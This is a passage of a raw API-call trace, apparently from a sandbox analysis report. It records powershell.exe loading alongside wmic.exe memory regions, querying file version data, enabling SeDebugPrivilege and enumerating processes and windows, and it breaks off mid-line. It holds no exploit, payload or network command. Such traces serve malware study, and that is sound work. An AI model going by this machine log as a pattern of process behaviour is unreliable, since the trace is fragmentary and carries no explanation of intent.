"c:\\windows\\system32\\wbem\\wmic.exe") Region: id = 2966 start_va = 0xffef0000 end_va = 0xffefffff entry_point = 0xffef0000 region_type = mapped_file name = "wmic.exe" filename = "\\Windows\\System32\\wbem\\WMIC.exe" (normalized: "c:\\windows\\system32\\wbem\\wmic.exe") Region: id = 3094 start_va = 0x7ff00290000 end_va = 0x7ff0029ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00290000" filename = "" Thread: id = 155 os_tid = 0x250 [0232.315] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0232.961] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0232.962] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0232.962] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0232.962] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0236.263] GetVersionExW (in: lpVersionInformation=0xedce0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xedce0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0236.304] GetVersionExW (in: lpVersionInformation=0xeda50*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xeda50*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0236.304] SetErrorMode (uMode=0x1) returned 0x1 [0236.305] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0xedbb0 | out: lpFileInformation=0xedbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0236.306] SetErrorMode (uMode=0x1) returned 0x1 [0236.359] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0xede20 | out: lpdwHandle=0xede20) returned 0x94c [0236.369] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x2ce76a0 | out: lpData=0x2ce76a0) returned 1 [0236.371] VerQueryValueW (in: pBlock=0x2ce76a0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xedd98, puLen=0xedd90 | out: lplpBuffer=0xedd98*=0x2ce773c, puLen=0xedd90) returned 1 [0236.373] lstrlenW (lpString="䅁") returned 1 [0236.395] VerQueryValueW (in: pBlock=0x2ce76a0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0xedd08, puLen=0xedd00 | out: lplpBuffer=0xedd08*=0x2ce7818, puLen=0xedd00) returned 1 [0236.395] lstrlenW (lpString="Microsoft Corporation") returned 21 [0236.397] CoTaskMemAlloc (cb=0x2e) returned 0x2ff7c0 [0236.397] lstrcpyW (in: lpString1=0x2ff7c0, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0236.398] CoTaskMemFree (pv=0x2ff7c0) [0236.398] VerQueryValueW (in: pBlock=0x2ce76a0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0xedd08, puLen=0xedd00 | out: lplpBuffer=0xedd08*=0x2ce786c, puLen=0xedd00) returned 1 [0236.398] lstrlenW (lpString="System.Management.Automation") returned 28 [0236.398] CoTaskMemAlloc (cb=0x3c) returned 0x2fdc70 [0236.398] lstrcpyW (in: lpString1=0x2fdc70, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0236.398] CoTaskMemFree (pv=0x2fdc70) [0236.398] VerQueryValueW (in: pBlock=0x2ce76a0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0xedd08, puLen=0xedd00 | out: lplpBuffer=0xedd08*=0x2ce78c8, puLen=0xedd00) returned 1 [0236.398] lstrlenW (lpString="6.1.7601.17514") returned 14 [0236.398] CoTaskMemAlloc (cb=0x20) returned 0x2ffdb0 [0236.398] lstrcpyW (in: lpString1=0x2ffdb0, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0236.398] CoTaskMemFree (pv=0x2ffdb0) [0236.398] VerQueryValueW (in: pBlock=0x2ce76a0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0xedd08, puLen=0xedd00 | out: lplpBuffer=0xedd08*=0x2ce7908, puLen=0xedd00) returned 1 [0236.398] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0236.398] CoTaskMemAlloc (cb=0x44) returned 0x2fdc70 [0236.398] lstrcpyW (in: lpString1=0x2fdc70, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0236.398] CoTaskMemFree (pv=0x2fdc70) [0236.398] VerQueryValueW (in: pBlock=0x2ce76a0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0xedd08, puLen=0xedd00 | out: lplpBuffer=0xedd08*=0x2ce7970, puLen=0xedd00) returned 1 [0236.398] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0236.398] CoTaskMemAlloc (cb=0x76) returned 0x2a0200 [0236.398] lstrcpyW (in: lpString1=0x2a0200, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0236.398] CoTaskMemFree (pv=0x2a0200) [0236.398] VerQueryValueW (in: pBlock=0x2ce76a0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0xedd08, puLen=0xedd00 | out: lplpBuffer=0xedd08*=0x2ce7a0c, puLen=0xedd00) returned 1 [0236.398] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0236.398] CoTaskMemAlloc (cb=0x44) returned 0x2fdc70 [0236.398] lstrcpyW (in: lpString1=0x2fdc70, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0236.398] CoTaskMemFree (pv=0x2fdc70) [0236.398] VerQueryValueW (in: pBlock=0x2ce76a0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0xedd08, puLen=0xedd00 | out: lplpBuffer=0xedd08*=0x2ce7a70, puLen=0xedd00) returned 1 [0236.399] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0236.399] CoTaskMemAlloc (cb=0x58) returned 0x2589f0 [0236.399] lstrcpyW (in: lpString1=0x2589f0, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0236.399] CoTaskMemFree (pv=0x2589f0) [0236.399] VerQueryValueW (in: pBlock=0x2ce76a0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0xedd08, puLen=0xedd00 | out: lplpBuffer=0xedd08*=0x2ce7aec, puLen=0xedd00) returned 1 [0236.399] lstrlenW (lpString="6.1.7601.17514") returned 14 [0236.399] CoTaskMemAlloc (cb=0x20) returned 0x2ffdb0 [0236.399] lstrcpyW (in: lpString1=0x2ffdb0, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0236.399] CoTaskMemFree (pv=0x2ffdb0) [0236.399] VerQueryValueW (in: pBlock=0x2ce76a0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0xedd08, puLen=0xedd00 | out: lplpBuffer=0xedd08*=0x2ce7794, puLen=0xedd00) returned 1 [0236.399] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0236.399] CoTaskMemAlloc (cb=0x66) returned 0x2fc290 [0236.399] lstrcpyW (in: lpString1=0x2fc290, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0236.399] CoTaskMemFree (pv=0x2fc290) [0236.399] VerQueryValueW (in: pBlock=0x2ce76a0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0xedd08, puLen=0xedd00 | out: lplpBuffer=0xedd08*=0x0, puLen=0xedd00) returned 0 [0236.399] VerQueryValueW (in: pBlock=0x2ce76a0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0xedd08, puLen=0xedd00 | out: lplpBuffer=0xedd08*=0x0, puLen=0xedd00) returned 0 [0236.399] VerQueryValueW (in: pBlock=0x2ce76a0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0xedd08, puLen=0xedd00 | out: lplpBuffer=0xedd08*=0x0, puLen=0xedd00) returned 0 [0236.399] VerQueryValueW (in: pBlock=0x2ce76a0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xedcd8, puLen=0xedcd0 | out: lplpBuffer=0xedcd8*=0x2ce773c, puLen=0xedcd0) returned 1 [0236.402] CoTaskMemAlloc (cb=0x204) returned 0x2a2f90 [0236.402] VerLanguageNameW (in: wLang=0x0, szLang=0x2a2f90, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0236.403] CoTaskMemFree (pv=0x2a2f90) [0236.403] VerQueryValueW (in: pBlock=0x2ce76a0, lpSubBlock="\\", lplpBuffer=0xedd28, puLen=0xedd20 | out: lplpBuffer=0xedd28*=0x2ce76c8, puLen=0xedd20) returned 1 [0236.422] GetCurrentProcessId () returned 0x740 [0236.635] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0xecc50 | out: lpLuid=0xecc50*(LowPart=0x14, HighPart=0)) returned 1 [0236.638] GetCurrentProcess () returned 0xffffffffffffffff [0236.638] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x20, TokenHandle=0xecc70 | out: TokenHandle=0xecc70*=0x2ec) returned 1 [0236.641] AdjustTokenPrivileges (in: TokenHandle=0x2ec, DisableAllPrivileges=0, NewState=0x2ceaf18*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0236.651] CloseHandle (hObject=0x2ec) returned 1 [0236.658] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x740) returned 0x2ec [0236.677] EnumProcessModules (in: hProcess=0x2ec, lphModule=0x2ceaf80, cb=0x200, lpcbNeeded=0xedc88 | out: lphModule=0x2ceaf80, lpcbNeeded=0xedc88) returned 1 [0236.680] GetModuleInformation (in: hProcess=0x2ec, hModule=0x13f1d0000, lpmodinfo=0x2ceb1f0, cb=0x18 | out: lpmodinfo=0x2ceb1f0*(lpBaseOfDll=0x13f1d0000, SizeOfImage=0x77000, EntryPoint=0x13f1dc63c)) returned 1 [0236.681] CoTaskMemAlloc (cb=0x804) returned 0x307a50 [0236.681] GetModuleBaseNameW (in: hProcess=0x2ec, hModule=0x13f1d0000, lpBaseName=0x307a50, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0236.681] CoTaskMemFree (pv=0x307a50) [0236.682] CoTaskMemAlloc (cb=0x804) returned 0x307a50 [0236.682] GetModuleFileNameExW (in: hProcess=0x2ec, hModule=0x13f1d0000, lpFilename=0x307a50, nSize=0x800 | out: lpFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0236.682] CoTaskMemFree (pv=0x307a50) [0236.683] CloseHandle (hObject=0x2ec) returned 1 [0236.692] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x740) returned 0x2ec [0236.693] GetExitCodeProcess (in: hProcess=0x2ec, lpExitCode=0xeddb8 | out: lpExitCode=0xeddb8*=0x103) returned 1 [0236.697] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12ceb088, Length=0x20000, ResultLength=0xedd80 | out: SystemInformation=0x12ceb088, ResultLength=0xedd80*=0xd7a8) returned 0x0 [0236.734] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x428 [0236.734] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x6d4 [0236.734] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x32c [0236.734] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x428 [0236.735] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x428 [0236.735] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x428 [0236.735] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x428 [0236.735] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x428 [0236.735] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x428 [0236.735] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x428 [0236.735] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x428 [0236.735] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x428 [0236.735] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x428 [0236.735] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x428 [0236.735] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x3a0 [0236.735] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x428 [0236.735] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x428 [0236.736] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x428 [0236.736] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x508 [0236.736] GetWindowThreadProcessId (in: hWnd=0xe0214, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x250 [0236.736] GetWindow (hWnd=0xe0214, uCmd=0x4) returned 0x0 [0236.737] IsWindowVisible (hWnd=0xe0214) returned 0 [0236.737] GetWindowThreadProcessId (in: hWnd=0x701a2, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x854 [0236.737] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x64 [0236.737] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x500 [0236.737] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x7dc [0236.737] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x778 [0236.737] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x57c [0236.737] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x28c [0236.738] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x574 [0236.738] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x350 [0236.738] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x594 [0236.738] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x7c8 [0236.738] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x248 [0236.738] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x698 [0236.738] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x318 [0236.738] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x7f8 [0236.738] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x58c [0236.738] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x6f0 [0236.738] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x5c8 [0236.738] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x668 [0236.738] GetWindowThreadProcessId (in: hWnd=0x2010a, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x664 [0236.739] GetWindowThreadProcessId (in: hWnd=0x70118, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x5d0 [0236.739] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x6a4 [0236.739] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x6d4 [0236.739] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x6b0 [0236.739] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x6d4 [0236.739] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x6b0 [0236.739] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x6d4 [0236.739] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x6a4 [0236.739] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x6a4 [0236.739] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x428 [0236.739] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x428 [0236.739] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x428 [0236.739] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x428 [0236.740] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x428 [0236.740] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x428 [0236.740] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x428 [0236.740] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x54c [0236.740] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x43c [0236.740] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x5a4 [0236.740] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x588 [0236.740] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x3a0 [0236.740] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x544 [0236.740] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x428 [0236.740] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x518 [0236.740] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x428 [0236.740] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x4f0 [0236.741] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x428 [0236.741] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x428 [0236.741] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x66c [0236.741] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x428 [0236.741] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x428 [0236.741] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x3a0 [0236.741] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x3a0 [0236.741] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x124 [0236.741] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x688 [0236.741] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x3a0 [0236.741] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x32c [0236.741] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x428 [0236.742] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x428 [0236.742] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x508 [0236.742] GetWindowThreadProcessId (in: hWnd=0xe0218, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x660 [0236.742] GetWindowThreadProcessId (in: hWnd=0xe020e, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x854 [0236.742] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x64 [0236.742] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x500 [0236.742] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x7dc [0236.742] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x778 [0236.742] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x57c [0236.742] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x28c [0236.742] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x574 [0236.742] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x350 [0236.742] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x594 [0236.743] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x7c8 [0236.743] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x248 [0236.743] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x698 [0236.743] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x318 [0236.743] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x7f8 [0236.743] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x58c [0236.743] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x6f0 [0236.743] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x5c8 [0236.743] GetWindowThreadProcessId (in: hWnd=0x10158, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x668 [0236.743] GetWindowThreadProcessId (in: hWnd=0x90154, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x664 [0236.743] GetWindowThreadProcessId (in: hWnd=0x3010e, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x5d0 [0236.743] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x6b0 [0236.743] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x6d4 [0236.744] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x6a4 [0236.744] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x54c [0236.744] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x43c [0236.744] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x5a4 [0236.744] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x4f0 [0236.744] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x66c [0236.744] GetWindowThreadProcessId (in: hWnd=0x10040, lpdwProcessId=0xedae0 | out: 